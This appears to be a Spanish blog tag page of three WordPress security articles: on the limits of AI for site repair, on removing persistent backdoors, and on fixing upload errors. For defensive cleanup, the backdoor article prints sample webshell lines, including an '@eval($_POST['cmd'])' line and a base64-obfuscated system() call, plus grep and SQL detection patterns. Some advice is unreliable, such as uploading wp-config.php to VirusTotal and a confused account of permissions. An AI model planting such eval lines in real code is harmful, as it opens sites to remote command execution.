Etiqueta: Seguridad

  • Que hacer cuando no consigo solucionar mi problema del wordpress incluso utilizando la IA

    Que hacer cuando no consigo solucionar mi problema del wordpress incluso utilizando la IA

    Cuándo la IA no es suficiente: qué hacer cuando WordPress sigue roto

    Te encuentras en una situación incómoda. Has probado ChatGPT, Claude, Copilot. Has seguido tutoriales de YouTube. Has pegado fragmentos de código en foros. Y aún así, tu WordPress sigue sin funcionar. La IA te ha fallado, o peor: ha empeorado las cosas. Es un escenario más común de lo que crees, y la razón principal es que las herramientas de IA generativa no entienden el contexto real de tu instalación.

    En mi experiencia auditando más de 500 sitios WordPress comprometidos o disfuncionales, el 60% de los casos que llegan a mi equipo en ManuelFolgar.com tienen un denominador común: alguien —el propietario, un técnico inexperto, o una IA sin contexto— aplicó soluciones genéricas que funcionan teóricamente, pero no en la práctica. Permíteme explicarte por qué pasa esto y, sobre todo, qué debes hacer.

    Por qué la IA falla en problemas específicos de WordPress

    Las limitaciones inherentes de los modelos de lenguaje

    La IA generativa es excelente para explicar conceptos, pero tiene limitaciones críticas cuando se enfrenta a problemas WordPress del mundo real:

    • No analiza tu entorno actual: ChatGPT no puede acceder a tu base de datos, ficheros de configuración, o logs de servidor. Te proporciona soluciones genéricas.
    • Desconoce conflictos de plugins: Dos plugins pueden ser seguros por separado, pero incompatibles juntos. La IA no lo sabe sin contexto.
    • No diferencia entre síntomas y raíces: Si tu sitio es lento, podría ser: caché mal configurada, base de datos corrupta, un backdoor consumiendo CPU, o un cryptominer. La IA te dará soluciones para caché.
    • Antigüedad de datos: Si entrenaron hasta abril de 2024, desconocen vulnerabilidades descubiertas en junio. WordPress Security Team publica parches constantemente.
    • No ejecuta comandos ni accede a archivos: Te dirá cómo hacerlo, pero no verá qué ocurre cuando lo haces. No puede iterar basándose en errores reales.

    Esto no es culpa tuya ni de la IA. Es la naturaleza del modelo. Como digo siempre a mis clientes: «la IA es un asistente formidable para tareas generales, pero WordPress bajo ataque o con fallos profundos requiere diagnóstico forense».

    El problema de la «solución de cadena»

    Algo que observo frecuentemente: el usuario aplica cinco «soluciones IA» sucesivas. Cada una funciona parcialmente, o empeora el problema. Al final, ninguno sabe qué cambio exacto causó el error. Es como hacer cirugía con múltiples bisturíes a oscuras.

    Diagnóstico real: cómo saber si es un problema técnico o de configuración

    Recopila información antes de cualquier acción

    Si me pidieran que resumiera en un consejo lo que NO hacer es actuar sin datos. Antes de probar nada más, necesitas respuestas a estas preguntas:

    1. ¿Cuándo exactamente dejó de funcionar? ¿Después de una actualización de WordPress, plugin, tema o cambio de servidor?
    2. ¿Qué error específico ves? Abre tu navegador, presiona F12 (consola), recarga. ¿Hay errores JavaScript? Abre PhpMyAdmin y ve si la base de datos responde. ¿Qué dice el log de errores de PHP?
    3. ¿Has hecho cambios recientemente? Si alguien sin experiencia tocó wp-config.php, permisos de carpetas, o desactivó .htaccess, aquí está el problema.
    4. ¿Es un sitio que ya estaba comprometido? Entra en wp-admin/admin-ajax.php sin parámetros. ¿Ves el error «0»? Normal. ¿Ves una página con contenido o redirección? Posible malware.

    Accede a logs reales: donde vive la verdad

    La IA jamás podrá leer esto porque no tiene acceso. Tú sí. Conéctate vía SFTP o terminal SSH (si tu hosting lo permite) y busca:

    • /var/log/php-fpm.log o /var/log/apache2/error.log — errores PHP/servidor.
    • /wp-content/debug.log — si tienes DEBUG habilitado en wp-config.php (que deberías).
    • $_SERVER['DOCUMENT_ROOT']/error_log — errores del servidor.
    • Logs de MySQL/MariaDB: /var/log/mysql/error.log.

    Estos logs te dirán exactamente qué está fallando. Una línea como Fatal error: Maximum execution time exceeded es información que ChatGPT no puede adivinarte.

    Pasos concretos cuando ya no hay vuelta atrás con IA

    1. Aislamiento: el método del arqueólogo

    Cuando no sabes qué cambio rompió todo, hay que aislar. Es tedioso, pero funciona:

    1. Vía SFTP, descarga una copia completa de tu sitio (backup total).
    2. En wp-content/, renombra la carpeta «plugins» a «plugins-disabled».
    3. ¿Funciona el sitio? El problema está en un plugin. Renombra «plugins-disabled» nuevamente a «plugins» y desactiva plugins uno a uno vía base de datos (tabla wp_options, clave active_plugins).
    4. ¿Sigue sin funcionar? El problema está en el tema. Cambia a un tema por defecto de WordPress (twentytwentyfour).
    5. ¿Sigue? Es WordPress core o la configuración del servidor.

    Este proceso, aunque manual, te dará información que ninguna IA proporciona.

    2. Verifica la integridad de WordPress core

    Alguien, quizá la IA sugiriéndolo incorrectamente, pudo haber modificado ficheros principales. Desde terminal, si tienes WP-CLI:

    wp core verify-checksums

    Si hay ficheros alterados (especialmente en wp-login.php, wp-load.php, o wp-admin/), WordPress te lo dirá. Si detecta cambios, reinstala WordPress sin tocar wp-config.php ni wp-content/:

    wp core download --force --locale=es_ES

    3. Revisa la base de datos: inyecciones SQL sutiles

    Un problema invisible a primera vista es el malware en la BD. Accede a PHPMyAdmin y busca en wp_options valores sospechosos. Mira la clave «home» y «siteurl». ¿Apuntan a tu dominio o a algo raro? ¿Hay opciones con nombres raros como «xksdj» o «_eval»?

    La tabla wp_posts también es favorita de atacantes. Busca posts con categoría «0» o autor «0» — puede haber posts ocultos redirigiendo tráfico.

    Este análisis requiere conocimiento de SQL y de patrones de malware que la IA no puede verificar de verdad.

    4. Análisis de permisos y propietarios de ficheros

    WordPress es sensible a esto. Desde terminal:

    ls -la wp-config.php

    Debería mostrarte algo como -rw-r--r-- 1 www-data www-data (permisos 644). Si ves 777 o el propietario es «root», es un problema. Corrígelo:

    chmod 644 wp-config.php && chown www-data:www-data wp-config.php

    Toda la carpeta wp-content debe ser de www-data con permisos 755 en directorios, 644 en archivos.

    Cuándo necesitas ayuda profesional: indicadores clave

    Sé honesto contigo mismo. Si reconoces más de tres de esto, ha llegado el momento de llamar a un profesional:

    • Has invertido más de 4 horas intentando soluciones sin avance real.
    • No entiendes qué dicen los logs de errores.
    • El sitio fue hackeado o está lentísimo sin razón aparente (posible cryptominer o backdoor).
    • No tienes acceso SSH/SFTP, solo panel de control tipo cPanel.
    • Hay código extraño en wp-admin/index.php o wp-load.php que no reconoces.
    • Google Search Console muestra «Malware detectado» o enlaces de spam en tu sitio.
    • Cambios de IA han dejado la BD corrupta (caracteres raros, faltan tablas).

    Un análisis profesional de seguridad WordPress incluye: escaneo de malware con herramientas especializadas como MalCare, auditoría de permisos y configuración, revisión de logs forenses, análisis de base de datos en profundidad, y remediación guiada. Esto es algo que una IA, por avanzada que sea, no puede ofrecer legalmente sin acceso total a tu servidor.

    Herramientas que SÍ sirven cuando la IA falla

    Herramientas de diagnóstico reales (no IA, análisis real)

    Estos no usan inteligencia artificial, sino análisis directo de código y configuración:

    • Wordfence CLI: Escanea tu sitio local buscando patrones de malware conocidos. wp wordfence scan
    • WP-CLI: Interfaz de línea de comandos de WordPress. Permite auditar plugins, temas, versiones, y ejecutar tareas administrativas sin acceso web.
    • PHPMyAdmin (o Adminer): Acceso directo a la BD. Puedes ejecutar queries SQL específicas para buscar anomalías que una IA nunca vería.
    • VirusTotal: Carga un fichero de tu WordPress. Te dirá si 60+ motores antivirus lo detectan como malware (aunque tiene falsos positivos).
    • Google Search Console: Si Google marcó tu sitio como peligroso, aquí ves qué URLs fueron comprometidas y cuándo.

    La diferencia crítica: estas herramientas ejecutan análisis real contra código real, no generan respuestas probabilísticas basadas en patrones estadísticos.

    Documentación oficial (no tutoriales genéricos)

    Algo que recomiendo siempre: WordPress Security Handbook en developer.wordpress.org es tu fuente de verdad. Escrita por el Security Team oficial de WordPress. ChatGPT resumen de esto, pero no es lo mismo que leerlo directo.

    Prevención: cómo evitar que esto vuelva a pasar

    Hardening básico que une IA no debería tocar sin supervisión

    Una vez que lo hayas arreglado, estos cambios previenen futuro desastre:

    • Deshabilita edición de archivos: Añade a wp-config.php: define('DISALLOW_FILE_EDIT', true); Impide que alguien (tú incluido, accidentalmente) edite código desde admin.
    • Limita intentos de login: Usa plugin como Wordfence o limit-login-attempts para bloquear brute-force a wp-login.php.
    • Activa 2FA: Dos factores en todas las cuentas admin.
    • Backups automáticos: Diarios, en servidor externo (no el mismo servidor). Si todo se rompe, recuperas en minutos.
    • Updates automáticas: Activa actualizaciones automáticas de plugins y temas menores. Las mayores, revísalas tú en staging.

    Repito: no pidas a ChatGPT que implemente esto por ti si no entiendes qué hace. Las instrucciones pueden ser correctas, pero si algo sale mal, no sabrás qué deshacer.

    Reflexión final: cómo pensar sobre WordPress y IA

    La IA es una herramienta formidable. Úsala para:

    • Entender conceptos (qué es .htaccess, por qué necesito SSL, etc.)
    • Generar scaffold de código que luego revisas.
    • Redactar documentación.
    • Aprender a escribir queries SQL.

    Pero no la uses como cirujano de tu WordPress sin supervisión. Un cambio incorrecto en wp-config.php, permisos, o base de datos puede romper semanas de trabajo en segundos.

    Si tu sitio es importante —si genera ingresos, si contiene datos de clientes, si es tu reputación profesional— merece atención experta real. La diferencia entre «tengo un error 500» y «estoy hackeado sin saberlo» es precisamente eso: diagnóstico real.

    En ManuelFolgar.com he ayudado a cientos de propietarios que llegaron en la misma situación que tú ahora. Siempre paso lo mismo: ofrezco un diagnóstico inicial gratuito. Dos horas de análisis profesional ahorran semanas de angustia y prueba-error. Si tu WordPress sigue roto, contacta conmigo sin compromiso. Podemos conversar sobre qué está pasando realmente.

  • Cómo expulsar un backdoor persistente de tu instalación WordPress

    Cómo expulsar un backdoor persistente de tu instalación WordPress

    Cómo expulsar un backdoor persistente de tu instalación WordPress

    Un backdoor persistente en WordPress es uno de los problemas más serios que puede sufrir tu sitio. Cuando analizo una web comprometida, el backdoor es habitualmente el último recurso del atacante para mantener acceso indefinido, incluso después de cambiar contraseñas y actualizar plugins. En mi experiencia, estos accesos ocultos pueden permanecer meses sin detección si no sabes dónde buscar.

    Te voy a guiar a través del proceso completo de identificación y eliminación de backdoors persistentes, basándome en cientos de auditorías de seguridad que he realizado en WordPress.

    Qué es un backdoor persistente y por qué es tan peligroso

    Un backdoor persistente es código malicioso incrustado en tu instalación WordPress que permite al atacante acceder a tu sitio sin conocer las credenciales de usuario. Se diferencia de una simple cuenta comprometida en que permanece activo aunque cambies todas tus contraseñas.

    Los backdoors más comunes que encuentro en mis auditorías son:

    • Webshells: archivos PHP independientes (generalmente con nombres ocultos como «config.php.bak» o «upload.php») que permiten ejecutar comandos del sistema.
    • Código inyectado en wp-config.php: líneas maliciosas que crean usuarios administrativos automáticamente o abren puertas de acceso.
    • Hooks en functions.php de themes: funciones PHP que se ejecutan en cada carga de página y crean acceso remoto.
    • Opciones de base de datos modificadas: valores almacenados en wp_options que contienen código ejecutable.
    • Plugins maliciosos ocultos: plugins desactivados en el panel pero con código activo en la carpeta del servidor.
    • Modificaciones en .htaccess: reglas que redirigen solicitudes a scripts maliciosos o desactivan seguridad.

    La peligrosidad es extrema: mientras el backdoor esté activo, el atacante puede robar datos sensibles, modificar contenido, enviar spam desde tu dominio, instalar malware adicional o usarlo como pivote para atacar a tus clientes.

    Señales de alerta que delatan un backdoor

    Antes de buscar un backdoor, necesitas confirmar que realmente lo tienes. Estos son los síntomas más claros que he identificado en mis análisis:

    • Nuevo usuario administrativo que no creaste, visible en Usuarios > Administrador.
    • Cambios en archivos core de WordPress (wp-login.php, wp-admin/index.php) sin que hayas actualizado.
    • Plugins desactivados pero presentes en /wp-content/plugins/ que no reconoces.
    • Alertas de Google Search Console: «Contenido malicioso detectado» o «Sitio comprometido».
    • Redirecciones inesperadas a sitios de spam o phishing.
    • Consumo anormal de CPU/RAM sin causa aparente.
    • Logs de acceso (access.log) mostrando solicitudes extrañas a rutas inexistentes o con parámetros sospechosos.
    • Base de datos creciendo sin motivo o tablas con nombres extraños.

    Paso 1: Asegura el acceso al servidor antes de empezar

    El primer error que cometen muchos administradores es intentar limpiar el backdoor a través del panel de WordPress. Un backdoor sofisticado detectará esta actividad y puede destruir pruebas o crear accesos alternativos mientras estás trabajando.

    Lo que recomiendo siempre:

    1. Accede via SSH/SFTP directamente al servidor. Necesitas acceso de línea de comandos. Si solo tienes cPanel, usa el Terminal de cPanel o conecta por SSH con tus credenciales root.
    2. Haz una copia de seguridad completa del servidor. Copia toda la carpeta /home/usuario/public_html/ y la base de datos. Necesitarás referencia para análisis forense.
    3. Cambia todas las contraseñas de acceso: FTP/SFTP, SSH, cPanel, base de datos, cuenta de hosting. Hazlo desde otra red si es posible.
    4. Desconecta la web temporalmente. Si el backdoor está activo y lo sabes, considera tomar el sitio offline para evitar más robo de datos mientras limpias.

    Paso 2: Busca webshells ocultas en el servidor

    Las webshells son archivos PHP que el atacante sube directamente al servidor. En mis auditorías, suelen encontrarse en:

    • /wp-content/uploads/ (carpeta más grande, difícil de revisar manualmente)
    • /wp-content/plugins/nombreAleatorio/
    • Raíz del sitio con nombres como «shell.php», «admin.php», «config.php.bak»
    • Carpetas ocultas: /.well-known/, /.git/, /wp-admin/includes/

    Desde SSH, usa estos comandos para encontrarlas:

    Buscar todos los archivos PHP modificados en los últimos 30 días:

    find /home/usuario/public_html -name «*.php» -mtime -30 -ls | sort -k10

    Buscar archivos PHP en la carpeta de uploads (muy sospechoso):

    find /home/usuario/public_html/wp-content/uploads -name «*.php» -o -name «*.phtml» -o -name «*.php5»

    Buscar archivos ejecutables recientes en todo el sitio:

    find /home/usuario/public_html -type f ( -name «*.php» -o -name «*.php7» -o -name «*.phtml» ) -newer /home/usuario/public_html/wp-settings.php

    Cuando encuentres un PHP sospechoso, no lo ejecutes ni abras en el navegador. Examínalo en el servidor con:

    head -20 /ruta/archivo.php

    Un backdoor típico tendrá: eval(), system(), exec(), shell_exec(), passthru(), base64_decode(), o variables POST/GET que ejecutan código. Si ves estas funciones fuera de contexto, es malicioso. Bórralo:

    rm /ruta/archivo_malicioso.php

    Paso 3: Revisa wp-config.php y .htaccess

    El wp-config.php es un destino favorito para backdoors persistentes. Abre el archivo:

    cat /home/usuario/public_html/wp-config.php | grep -E «eval|system|exec|create_function|preg_replace.*/e»

    Busca líneas sospechosas. Un ejemplo de backdoor en wp-config.php que he visto frecuentemente:

    @eval($_POST[‘cmd’]); // Permite ejecutar código PHP vía POST

    O código ofuscado:

    @eval(base64_decode(‘c3lzdGVtKCRfUE9TVFsnd2EnXSk7’));

    Si encuentras algo así, edita el archivo (con nano o vi):

    nano /home/usuario/public_html/wp-config.php

    Elimina las líneas maliciosas. Luego revisa el .htaccess:

    cat /home/usuario/public_html/.htaccess

    Busca redirecciones sospechosas o reglas que no reconozcas. Un .htaccess limpio de WordPress contiene solo reglas de reescritura estándar. Si ves:

    • RewriteRule con dominios externos
    • Reglas que permiten acceso a archivos ejecutables en uploads
    • Redirecciones a sitios de spam

    Reemplaza el .htaccess completo con uno limpio desde wp-cli:

    wp rewrite flush –hard

    Paso 4: Analiza plugins y themes en busca de código inyectado

    Los backdoors frecuentemente se instalan modificando el archivo functions.php de un theme activo o un plugin. Necesitas revisar cada uno.

    Lista el theme activo:

    wp theme list –status=active

    Revisa el functions.php del theme activo:

    cat /home/usuario/public_html/wp-content/themes/NOMBREDELTHEME/functions.php | head -50

    Busca código sospechoso al inicio o final del archivo. Los backdoors suelen inyectarse al principio (después de <?php) o al final, antes del cierre.

    Haz lo mismo con cada plugin activo:

    wp plugin list –status=active

    cat /home/usuario/public_html/wp-content/plugins/NOMBREPLUGIN/NOMBREPLUGIN.php | head -50

    Si encuentras código sospechoso, tienes dos opciones:

    1. Si el plugin/theme es legítimo: Restaura la versión limpia desde wordpress.org. Primero desactiva y borra, luego reinstala limpio.
    2. Si no reconoces el plugin/theme: Bórralo completamente.

    Paso 5: Limpia la base de datos de opciones maliciosas

    Los atacantes sofisticados almacenan backdoors en la tabla wp_options. Estos se ejecutan mediante hooks y generan usuarios admin, redirigen contenido o crean backdoors adicionales.

    Conecta a la base de datos MySQL:

    mysql -u usuario_base_datos -p nombre_base_datos

    Busca opciones sospechosas:

    SELECT option_name, option_value FROM wp_options WHERE option_value LIKE ‘%eval%’ OR option_value LIKE ‘%base64_decode%’ OR option_value LIKE ‘%system(%’ LIMIT 20;

    Si encuentras algo, examínalo primero:

    SELECT * FROM wp_options WHERE option_id = XXX G

    Y bórralo:

    DELETE FROM wp_options WHERE option_id = XXX;

    También busca usuarios sospechosos:

    SELECT ID, user_login, user_email, user_registered FROM wp_users;

    Si hay un usuario que no creaste con rol de administrador, bórralo:

    DELETE FROM wp_users WHERE ID = XXX;

    Y elimina sus metadatos:

    DELETE FROM wp_usermeta WHERE user_id = XXX;

    Paso 6: Verifica logs de acceso en búsqueda de actividad maliciosa

    El access.log y error.log te muestran qué ha hecho el atacante. En mis auditorías, esta información es crucial para entender el alcance del compromiso.

    Busca solicitudes a archivos sospechosos:

    grep -E «.php?.*=» /home/usuario/public_html/../logs/access_log | grep -v «/wp-admin/» | tail -50

    Busca POST requests (típicas de webshells):

    grep «POST» /home/usuario/public_html/../logs/access_log | tail -50

    Documenta cualquier actividad sospechosa (IPs atacantes, fechas, archivos accedidos).

    Paso 7: Usa herramientas automáticas como verificación final

    Después de la limpieza manual, usa herramientas especializadas para confirmar que no quedan backdoors. Mi recomendación:

    WP-CLI Security Audit:

    wp plugin list –status=all

    wp theme list –status=all

    Verifica que no haya plugins/themes desactivados que no reconozcas.

    Wordfence CLI (si tienes licencia):

    wordfence scan

    Realiza un escaneo profundo de malware.

    Sucuri SiteCheck (online, gratuito): Sube tu sitio a sitecheck.sucuri.net para una segunda opinión independiente.

    Paso 8: Refuerza WordPress para evitar backdoors futuros

    Un backdoor regresa si tu seguridad es débil. Lo que implemento siempre en sitios post-compromiso:

    • Deshabilita la edición de archivos: Añade a wp-config.php: define(‘DISALLOW_FILE_EDIT’, true);
    • Cambia el prefijo de tablas de BD: De wp_ a algo como wp_a7k3_. Esto requiere un plugin especializado o acceso a la BD.
    • Protege wp-config.php: Usa .htaccess: <files wp-config.php> deny from all </files>
    • Implementa autenticación de dos factores (2FA): Usa Wordfence, Google Authenticator o similar.
    • Limita intentos de login: Máximo 5 intentos en 15 minutos. Wordfence o iThemes Security lo hacen automáticamente.
    • Actualiza WordPress, plugins y themes regularmente. Los backdoors entran por agujeros de seguridad conocidos.
    • Revisa permisos de carpetas: wp-content/uploads debe ser 755, no 777.

    Paso 9: Valida que el backdoor está completamente eliminado

    Después de 48 horas de la limpieza, realiza una verificación final:

    1. Inicia sesión en WordPress. Verifica que no hay usuarios sospechosos.
    2. Revisa Google Search Console. Elimina manualmente cualquier URL sospechosa flagged como maliciosa.
    3. Ejecuta nuevamente el escaneo de Sucuri SiteCheck. Debe estar limpio.
    4. Revisa access.log nuevamente. No debe haber solicitudes maliciosas recientes.
    5. Haz un backup limpio. Este será tu referencia para futuras comparaciones.

    Cuándo llamar a un profesional

    Si durante este proceso encuentras:

    • Múltiples backdoors entrelazados que vuelven a aparecer tras eliminarlos
    • Base de datos completamente comprometida (muchas opciones maliciosas)
    • Código ofuscado que no puedes descifrar
    • Cambios en la raíz del servidor fuera de la carpeta web
    • Tu proveedor de hosting ha detectado malware y amenaza con suspender el sitio

    Es momento de obtener ayuda profesional. En ManuelFolgar.com realizamos auditorías completas de seguridad y limpieza garantizada de backdoors, con análisis forense incluido.

    Resumen final: tu checklist de acción

    Aquí está el plan paso a paso que debes seguir:

    1. Accede al servidor via SSH, cambia contraseñas, haz backup completo.
    2. Busca webshells con find y comandos grep.
    3. Revisa wp-config.php y .htaccess línea por línea.
    4. Analiza functions.php de theme y todos los plugins.
    5. Limpia la BD de opciones y usuarios maliciosos con MySQL.
    6. Revisa logs de acceso para entender el compromiso.
    7. Ejecuta herramientas automáticas (WP-CLI, Wordfence, Sucuri).
    8. Implementa hardening de seguridad.
    9. Valida la limpieza con verificaciones finales.

    Un backdoor persistente es serio, pero eliminable si actúas rápido y metódicamente. La mayoría de propietarios de sitios comprometen su seguridad precisamente porque no saben por dónde empezar. Tú ahora sí.

    Si necesitas ayuda profesional en cualquier paso de este proceso, contacta conmigo en ManuelFolgar.com. Realizo análisis forense completo, eliminación garantizada de backdoors y hardening de WordPress para evitar que vuelvan.

  • Solucionar errores de upload en WordPress sin perder seguridad

    Solucionar errores de upload en WordPress sin perder seguridad

    Errores de upload en WordPress: por qué ocurren y cómo resolverlos sin comprometer seguridad

    Cuando trabajas con WordPress, los errores de upload son de los problemas más frustrantes que encontrarás. Te intentas subir una imagen, un PDF o un plugin, y de repente: «Ha ocurrido un error al subir el archivo» o «El tipo de archivo no es permitido». Lo primero que haces es buscar una solución rápida, ¿verdad? El problema es que muchas de esas soluciones que encuentras online te dejan la puerta abierta a ataques.

    En mi experiencia auditando sitios WordPress comprometidos, he visto una pauta clara: muchos administradores deshabilitaron filtros de seguridad o ampliaron permisos de forma excesiva para que los uploads funcionaran. El resultado fue que seis meses después, el servidor alojaba un webshell o un backdoor. No queremos eso para ti.

    En este artículo te muestro cómo solucionar estos errores manteniendo tu WordPress protegido. Empezaremos por entender por qué suceden, luego iremos escalando hasta las soluciones más técnicas, y siempre poniendo la seguridad en primer plano.

    Las causas más comunes de errores de upload en WordPress

    1. Límites de tamaño de archivo insuficientes

    WordPress tiene un límite de tamaño máximo para archivos subidos, heredado de la configuración PHP del servidor. Si intentas subir un archivo más grande que el límite (habitualmente 64 MB), WordPress rechazará la carga sin importar que tu servidor tenga espacio.

    Esto es especialmente común con vídeos, archivos de backup o conjuntos grandes de imágenes. La buena noticia es que aumentar este límite es seguro si lo haces de forma controlada.

    2. Permisos de carpeta incorrectos

    La carpeta /wp-content/uploads necesita permisos de escritura para que WordPress guarde los archivos. Si los permisos están mal configurados (habitualmente 755 o superior), WordPress no podrá escribir en ella. Verás un error genérico que no ayuda mucho a diagnosticar el problema real.

    3. Restricciones de tipo de archivo demasiado estrictas

    WordPress filtra qué tipos de archivo permite subir. Por defecto, acepta imágenes, documentos y otros medios comunes. Si instalas un plugin de seguridad agresivo o modificas el código, es posible que bloquee archivos legítimos.

    4. Configuración de multisite deficiente

    Si usas WordPress en modo multisite, cada subdominio o sitio tiene su propia carpeta de uploads. Los permisos y configuración de PHP-FPM pueden no aplicarse correctamente a todos ellos, dejando algunos sitios sin capacidad de upload.

    5. Problemas de propietario de archivos (ownership)

    En servidores compartidos o con configuración de PHP-FPM, los archivos deben ser propiedad del usuario PHP correcto. Si el propietario no coincide (por ejemplo, «www-data» vs. «apache»), WordPress no podrá escribir aunque los permisos parezcan correctos.

    Soluciones seguras: paso a paso

    Paso 1: Verifica los límites PHP sin tocar nada peligroso

    Primero, mira cuál es el límite actual. Accede a tu WordPress, ve a Herramientas > Estado del sitio, y busca «Límite de tamaño de subida de archivos». Anotalo.

    Si necesitas aumentarlo, hazlo de forma segura editando tu archivo wp-config.php. Añade estas líneas antes de la línea «/* Eso es todo, ¡para editar sus archivos vaya a FTP/SFTP! */»:

    define('WP_MEMORY_LIMIT', '256M');
    define('WP_MAX_MEMORY_LIMIT', '512M');

    Estos valores aumentan la memoria disponible para operaciones de upload, pero de forma controlada. No los hagas arbitrariamente grandes (por ejemplo, 2GB) porque entonces consumirás recursos innecesarios.

    Si usas un servidor Apache, puedes también crear o editar un archivo .htaccess en la raíz con:

    php_value post_max_size 256M
    php_value upload_max_filesize 256M
    php_value max_execution_time 300

    Esto es especialmente útil si tu proveedor de hosting no te deja acceder a php.ini.

    Paso 2: Asegura los permisos de carpetas correctamente

    La carpeta /wp-content/uploads debe tener permisos 755 (lectura, escritura y ejecución para propietario; lectura y ejecución para grupo y otros). Las subcarpetas también deben ser 755, y los archivos dentro deben ser 644.

    Si tienes acceso FTP o SFTP (lo que recomiendo siempre), conecta con tu cliente preferido (Filezilla, Cyberduck) y navega a /wp-content/uploads. Haz clic derecho, selecciona «Cambiar permisos» y establece 755.

    Si prefieres usar línea de comandos (SSH), conecta a tu servidor y ejecuta:

    find /ruta/a/wp-content/uploads -type d -exec chmod 755 {} ;
    find /ruta/a/wp-content/uploads -type f -exec chmod 644 {} ;

    Nota de seguridad importante: nunca hagas las carpetas 777. He visto servidores comprometidos precisamente por eso. 755 es más que suficiente.

    Paso 3: Verifica el propietario de los archivos (ownership)

    En algunos servidores, especialmente con PHP-FPM, el problema no es el permiso sino quién «posee» los archivos. Conecta por SSH y ejecuta:

    ls -la /ruta/a/wp-content/uploads

    Mira la tercera y cuarta columna. Debería decir algo como «www-data www-data» o «www www-data». Si dice «root root» o algo completamente diferente, los uploads fallarán.

    Para corregirlo (como usuario root o con sudo):

    chown -R www-data:www-data /ruta/a/wp-content/uploads

    Cambia «www-data» por el usuario PHP real en tu servidor. Si no sabes cuál es, pregunta a tu proveedor de hosting o consulta tu configuración de PHP-FPM.

    Paso 4: Revisa las restricciones de tipo de archivo

    WordPress permite ciertos tipos de archivo por defecto. Si necesitas permitir tipos adicionales, hazlo de forma controlada. Nunca permitas ejecutables (.exe, .sh, .php) en la carpeta de uploads.

    Para añadir tipos de archivo seguros, edita wp-config.php y añade (antes de la línea de «Eso es todo»):

    define('ALLOW_UNFILTERED_UPLOADS', false);

    Esto mantendrá WordPress filtrando incluso si eres administrador. Luego, si necesitas tipos específicos, usa un plugin confiable como File Manager o crea un filtro en tu tema hijo:

    add_filter('upload_mimes', function($mimes) {
    $mimes['svg'] = 'image/svg+xml';
    $mimes['webp'] = 'image/webp';
    return $mimes;
    });

    Esto es seguro porque solo añade tipos MIME específicos que WordPress puede validar correctamente.

    Paso 5: Protege la carpeta de uploads con .htaccess

    Aunque la carpeta de uploads debe permitir lectura, no debería permitir la ejecución de scripts PHP. Crea o edita el archivo .htaccess en /wp-content/uploads/ y añade:

    <FilesMatch ".(php|php3|php4|php5|php6|php7|php8|phtml)$">
    Deny from all
    </FilesMatch>

    Esto bloquea cualquier intento de ejecutar archivos PHP subidos. Incluso si un atacante logra meter un archivo PHP, no podrá ejecutarlo.

    También añade esta línea para desactivar la interpretación de scripts en esa carpeta:

    php_flag engine off

    Paso 6: Usa una herramienta de diagnóstico

    Si después de todos estos pasos aún tienes errores, usa WP-CLI para diagnosticar:

    wp core verify-checksums
    wp cap list --user=your_admin_user

    También puedes instalar el plugin Health Check & Troubleshooting (gratuito) que te mostrará exactamente qué está fallando.

    Soluciones adicionales para casos complejos

    Aumenta el tiempo de ejecución para uploads grandes

    Si subes archivos muy grandes, PHP puede «timeout» antes de terminar. En .htaccess:

    php_value max_execution_time 600

    600 segundos (10 minutos) es generoso. Ajusta según tus necesidades, pero nunca lo hagas infinito (0).

    Usa un plugin de gestión de uploads seguro

    Si necesitas control granular sobre uploads (por ejemplo, restringir por rol de usuario), usa Admin Columns o Wordfence, que incluyen logging de uploads. Esto es especialmente importante si múltiples usuarios suben archivos. Sabrás exactamente quién subió qué y cuándo.

    Configura un CDN seguro para archivos medianos y grandes

    Si regularmente necesitas subir vídeos o archivos grandes, considera un CDN como Cloudflare o BunnyCDN. Esto no solo resuelve limites de PHP, sino que distribuye la carga y protege tu servidor contra ataques volumétricos dirigidos a uploads.

    Errores comunes a evitar

    ❌ No hagas nunca las carpetas 777

    He visto esto demasiadas veces. Un «técnico» dice «establece permisos 777 en wp-content». No lo hagas. 755 funciona perfectamente y es exponencialmente más seguro.

    ❌ No instales plugins «nulled» o de fuentes desconocidas para resolver uploads

    Si Google te dirige a un plugin descargado de un sitio raro para «solucionar uploads», no lo hagas. Especialmente no lo hagas si el plugin se llama «Upload Manager Pro» o similar en una URL sospechosa. Muchos de esos plugins son Troianos que parecen legítimos.

    ❌ No desactives WordPress.org como fuente de plugins

    Tu WordPress debería instalar plugins únicamente desde WordPress.org o desde desarrolladores verificados. Desactivar esa restricción abre la puerta a malware masivamente.

    ❌ No hagas editable wp-config.php desde el navegador

    WordPress permite editar wp-config.php desde el panel si los permisos lo permiten. Deshabilítalo en tu .htaccess:

    <files wp-config.php>
    order allow,deny
    deny from all
    </files>

    Verificación de seguridad post-solución

    Una vez que hayas resuelto los errores de upload, asegúrate de que no has introducido vulnerabilidades. Ejecuta estos pasos:

    1. Escanea con Wordfence: Instala y ejecuta un escaneo completo. Busca permisos inseguros, plugins problemáticos o cambios sospechosos.
    2. Revisa los logs: Si tienes acceso a logs de Apache o Nginx, busca intentos fallidos de acceso a archivos .php en /uploads/.
    3. Valida con VirusTotal: Sube el archivo wp-config.php a VirusTotal para asegurarte de que no contiene código malicioso (aunque debería, porque lo acabas de editar tú).
    4. Comprueba en Google Search Console: Mira si Google ha detectado malware o problemas de seguridad en tu sitio. A veces, uploads comprometidos triggean alertas automáticas.

    Recomendaciones finales y buenas prácticas

    Los errores de upload no son un problema de seguridad en sí. El problema de seguridad es cómo resuelves esos errores. Por eso:

    • Mantén WordPress, plugins y temas actualizados. Las vulnerabilidades de upload a menudo se explotan a través de plugins desactualizados.
    • Usa 2FA en tu cuenta de administrador. Incluso si alguien consigue tu contraseña, no podrá acceder al panel sin el segundo factor.
    • Implementa Content Security Policy (CSP). Añade a tu .htaccess: Header set Content-Security-Policy "script-src 'self'; object-src 'none';". Esto previene que scripts inyectados se ejecuten.
    • Haz backups regulares. Si algo sale mal, podrás restaurar desde un punto limpio. Usa un plugin como UpdraftPlus o BackWPup que se integre bien con tu hosting.
    • Monitoriza uploads por correo. Configura logs que te notifiquen cuando alguien sube un archivo. Esto te ayudará a detectar comportamiento sospechoso rápidamente.

    Cuándo pedir ayuda profesional

    Si después de seguir estos pasos aún tienes errores de upload, o si sospechas que tu servidor ya está comprometido, es hora de llamar a un profesional. En mi experiencia, los problemas de upload a veces están relacionados con configuración más profunda del servidor, entornos PHP-FPM mal configurados, o incluso infecciones previas que interfieren con el funcionamiento normal.

    Un audit profesional no solo resuelve los errores de upload, sino que te da una visión completa de la seguridad de tu WordPress, detecta backdoors ocultos, y te proporciona un plan de hardening personalizado.

